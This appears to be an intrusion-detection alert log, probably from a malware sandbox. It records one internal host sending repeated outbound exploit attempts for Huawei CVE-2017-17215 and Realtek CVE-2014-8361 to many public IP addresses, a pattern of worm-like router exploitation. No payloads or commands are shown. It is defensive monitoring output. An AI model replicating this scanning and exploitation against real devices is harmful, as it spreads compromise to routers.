ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.144.9.215

Timestamp:	07/20/24-23:10:59.057855
SID:	2835222
Source Port:	60898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.61.187.214

Timestamp:	07/20/24-23:10:40.656565
SID:	2835222
Source Port:	58524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.110.219.79

Timestamp:	07/20/24-23:10:59.011093
SID:	2829579
Source Port:	55566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 23.180.240.118

Timestamp:	07/20/24-23:10:39.162925
SID:	2027339
Source Port:	60444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.212.6.49

Timestamp:	07/20/24-23:10:52.592459
SID:	2829579
Source Port:	53222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.245.216.156

Timestamp:	07/20/24-23:10:39.488246
SID:	2835222
Source Port:	37320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 87.2.229.121

Timestamp:	07/20/24-23:10:44.615528
SID:	2025132
Source Port:	59672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 222.95.36.229

Timestamp:	07/20/24-23:10:48.679763
SID:	2025132
Source Port:	60570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 23.213.111.232

Timestamp:	07/20/24-23:10:51.984755
SID:	2027339
Source Port:	39854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 74.74.206.232

Timestamp:	07/20/24-23:10:43.459650
SID:	2027339
Source Port:	43790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.0.42

Timestamp:	07/20/24-23:10:52.555606
SID:	2835222
Source Port:	56162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.138.179.241

Timestamp:	07/20/24-23:10:59.032609
SID:	2829579
Source Port:	50742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.169.151

Timestamp:	07/20/24-23:10:56.024382
SID:	2835222
Source Port:	52726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.165.202

Timestamp:	07/20/24-23:10:49.420934
SID:	2829579
Source Port:	55836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.189.110.3

Timestamp:	07/20/24-23:10:46.726397
SID:	2835222
Source Port:	52294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 170.219.73.31

Timestamp:	07/20/24-23:10:40.643381
SID:	2829579
Source Port:	40844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.210.197.36

Timestamp:	07/20/24-23:10:40.649994
SID:	2829579
Source Port:	47994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.219.76.223

Timestamp:	07/20/24-23:10:59.055793
SID:	2835222
Source Port:	59168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.147.221.134

Timestamp:	07/20/24-23:11:06.679232
SID:	2835222
Source Port:	60106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 112.72.53.27

Timestamp:	07/20/24-23:10:43.440018
SID:	2025132
Source Port:	52792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.220.170.228

Timestamp:	07/20/24-23:11:03.368250
SID:	2835222
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.5.231.102

Timestamp:	07/20/24-23:10:52.538168
SID:	2835222
Source Port:	59130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 25.16.163.132

Timestamp:	07/20/24-23:10:43.244583
SID:	2025132
Source Port:	50864
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.77.154.218

Timestamp:	07/20/24-23:10:59.055793
SID:	2829579
Source Port:	36708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 143.57.33.34

Timestamp:	07/20/24-23:10:55.999553
SID:	2829579
Source Port:	40256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.115.108.166

Timestamp:	07/20/24-23:10:52.551688
SID:	2829579
Source Port:	54254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.108.209.169

Timestamp:	07/20/24-23:10:39.479939
SID:	2829579
Source Port:	55066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 208.41.148.99

Timestamp:	07/20/24-23:10:43.558832
SID:	2027339
Source Port:	47892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.167.79.148

Timestamp:	07/20/24-23:10:55.999553
SID:	2835222
Source Port:	51404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.244.98.22

Timestamp:	07/20/24-23:11:03.406798
SID:	2829579
Source Port:	57586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 110.195.69.132

Timestamp:	07/20/24-23:10:52.016220
SID:	2831300
Source Port:	53548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 81.195.144.123

Timestamp:	07/20/24-23:10:52.569477
SID:	2829579
Source Port:	43954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.70.166.0

Timestamp:	07/20/24-23:10:46.724339
SID:	2835222
Source Port:	59424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 13.188.140.147

Timestamp:	07/20/24-23:10:45.861270
SID:	2027339
Source Port:	51048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.58.115.194

Timestamp:	07/20/24-23:10:49.428717
SID:	2829579
Source Port:	49394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 137.140.74.50

Timestamp:	07/20/24-23:10:43.804824
SID:	2027339
Source Port:	46024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 71.216.86.69

Timestamp:	07/20/24-23:10:48.709947
SID:	2027339
Source Port:	40876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 169.37.171.79

Timestamp:	07/20/24-23:10:39.478846
SID:	2829579
Source Port:	39428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 115.217.213.84

Timestamp:	07/20/24-23:10:44.044261
SID:	2025132
Source Port:	36654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 195.202.70.255

Timestamp:	07/20/24-23:10:51.971547
SID:	2831300
Source Port:	40236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.242.43

Timestamp:	07/20/24-23:10:39.431804
SID:	2829579
Source Port:	37834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.45.141.212

Timestamp:	07/20/24-23:10:47.889965
SID:	2027339
Source Port:	42208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.192.171.213

Timestamp:	07/20/24-23:11:06.676715
SID:	2829579
Source Port:	33862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.164.37.122

Timestamp:	07/20/24-23:10:42.249913
SID:	2829579
Source Port:	49030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 161.93.54.6

Timestamp:	07/20/24-23:10:44.637464
SID:	2027339
Source Port:	52598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.17.105.247

Timestamp:	07/20/24-23:10:39.478846
SID:	2829579
Source Port:	41756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.124.203.108

Timestamp:	07/20/24-23:10:46.756315
SID:	2829579
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.159.94.26

Timestamp:	07/20/24-23:10:52.581805
SID:	2829579
Source Port:	56144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 132.70.73.95

Timestamp:	07/20/24-23:10:44.684061
SID:	2027339
Source Port:	60756
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 47.62.169.96

Timestamp:	07/20/24-23:10:40.649804
SID:	2835222
Source Port:	45246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 175.109.109.84

Timestamp:	07/20/24-23:10:39.073690
SID:	2025132
Source Port:	40888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.119.77

Timestamp:	07/20/24-23:11:06.686627
SID:	2835222
Source Port:	45470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.119.93.56

Timestamp:	07/20/24-23:10:59.023708
SID:	2829579
Source Port:	57426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.162.113

Timestamp:	07/20/24-23:10:40.604940
SID:	2835222
Source Port:	47126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.8.250.84

Timestamp:	07/20/24-23:10:40.601389
SID:	2829579
Source Port:	47874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 1.176.202.8

Timestamp:	07/20/24-23:10:47.410885
SID:	2025132
Source Port:	48880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 87.46.238.224

Timestamp:	07/20/24-23:10:44.769466
SID:	2027339
Source Port:	33484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 67.67.26.116

Timestamp:	07/20/24-23:11:06.680204
SID:	2829579
Source Port:	51942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.14.81.255

Timestamp:	07/20/24-23:10:39.495983
SID:	2829579
Source Port:	37364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 96.224.29.242

Timestamp:	07/20/24-23:10:42.624844
SID:	2831300
Source Port:	48724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.82.96.118

Timestamp:	07/20/24-23:10:46.724339
SID:	2835222
Source Port:	58012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 219.152.75.176

Timestamp:	07/20/24-23:10:42.621912
SID:	2831300
Source Port:	38156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 196.54.140.130

Timestamp:	07/20/24-23:10:51.908570
SID:	2027339
Source Port:	49966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 67.53.114.65

Timestamp:	07/20/24-23:10:40.652868
SID:	2835222
Source Port:	42416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 63.75.117.57

Timestamp:	07/20/24-23:10:51.988569
SID:	2027339
Source Port:	38082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.144.229.43

Timestamp:	07/20/24-23:10:49.341206
SID:	2829579
Source Port:	35524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 71.5.90.99

Timestamp:	07/20/24-23:10:51.950529
SID:	2027339
Source Port:	57804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.40.81.92

Timestamp:	07/20/24-23:10:40.650979
SID:	2829579
Source Port:	53814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 75.64.8.241

Timestamp:	07/20/24-23:10:51.995612
SID:	2831300
Source Port:	57520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.6.52.231

Timestamp:	07/20/24-23:10:42.249182
SID:	2829579
Source Port:	57660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 79.14.113.77

Timestamp:	07/20/24-23:10:47.779765
SID:	2027339
Source Port:	36036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 111.84.141.243

Timestamp:	07/20/24-23:10:52.005273
SID:	2831300
Source Port:	54290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 43.91.208.66

Timestamp:	07/20/24-23:10:51.900659
SID:	2831300
Source Port:	53666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 141.20.236.188

Timestamp:	07/20/24-23:10:51.991411
SID:	2027339
Source Port:	41228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 92.86.251.63

Timestamp:	07/20/24-23:11:06.680205
SID:	2835222
Source Port:	44258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.68.95.71

Timestamp:	07/20/24-23:10:52.547373
SID:	2829579
Source Port:	33626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 74.125.66.82

Timestamp:	07/20/24-23:10:52.007232
SID:	2831300
Source Port:	39612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.120.190.93

Timestamp:	07/20/24-23:10:52.540929
SID:	2829579
Source Port:	55732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.166.112.173

Timestamp:	07/20/24-23:11:03.396635
SID:	2829579
Source Port:	37348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 155.193.235.193

Timestamp:	07/20/24-23:10:46.817180
SID:	2829579
Source Port:	38080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 180.203.254.113

Timestamp:	07/20/24-23:10:42.249913
SID:	2835222
Source Port:	44486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 37.21.17.204

Timestamp:	07/20/24-23:10:39.198702
SID:	2025132
Source Port:	38462
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.183.11.184

Timestamp:	07/20/24-23:10:42.248264
SID:	2829579
Source Port:	57070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.233.99.183

Timestamp:	07/20/24-23:10:52.578509
SID:	2835222
Source Port:	36184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 222.64.252.118

Timestamp:	07/20/24-23:10:56.046357
SID:	2835222
Source Port:	33846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.195.216.129

Timestamp:	07/20/24-23:10:44.666926
SID:	2027339
Source Port:	52020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.160.169

Timestamp:	07/20/24-23:10:46.756315
SID:	2835222
Source Port:	55828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 188.57.61.95

Timestamp:	07/20/24-23:11:06.696229
SID:	2829579
Source Port:	52454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 217.58.36.234

Timestamp:	07/20/24-23:10:42.621600
SID:	2027339
Source Port:	39290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.12.135.208

Timestamp:	07/20/24-23:10:59.011093
SID:	2835222
Source Port:	60848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.211.68.113

Timestamp:	07/20/24-23:10:46.756934
SID:	2835222
Source Port:	48050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 123.14.61.21

Timestamp:	07/20/24-23:10:51.940106
SID:	2831300
Source Port:	39762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.22.161.137

Timestamp:	07/20/24-23:10:59.046417
SID:	2829579
Source Port:	50932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.30.145.239

Timestamp:	07/20/24-23:10:40.652868
SID:	2835222
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.117.24.91

Timestamp:	07/20/24-23:10:42.250388
SID:	2829579
Source Port:	36558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 71.203.107.81

Timestamp:	07/20/24-23:10:46.642556
SID:	2025132
Source Port:	43354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 183.106.234.57

Timestamp:	07/20/24-23:10:52.033728
SID:	2027339
Source Port:	46466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 60.111.115.239

Timestamp:	07/20/24-23:10:47.943388
SID:	2025132
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.136.135.90

Timestamp:	07/20/24-23:11:06.678578
SID:	2829579
Source Port:	51440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 146.67.192.198

Timestamp:	07/20/24-23:10:51.906948
SID:	2831300
Source Port:	49152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 88.192.240.239

Timestamp:	07/20/24-23:10:52.045896
SID:	2831300
Source Port:	45006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 42.250.239.223

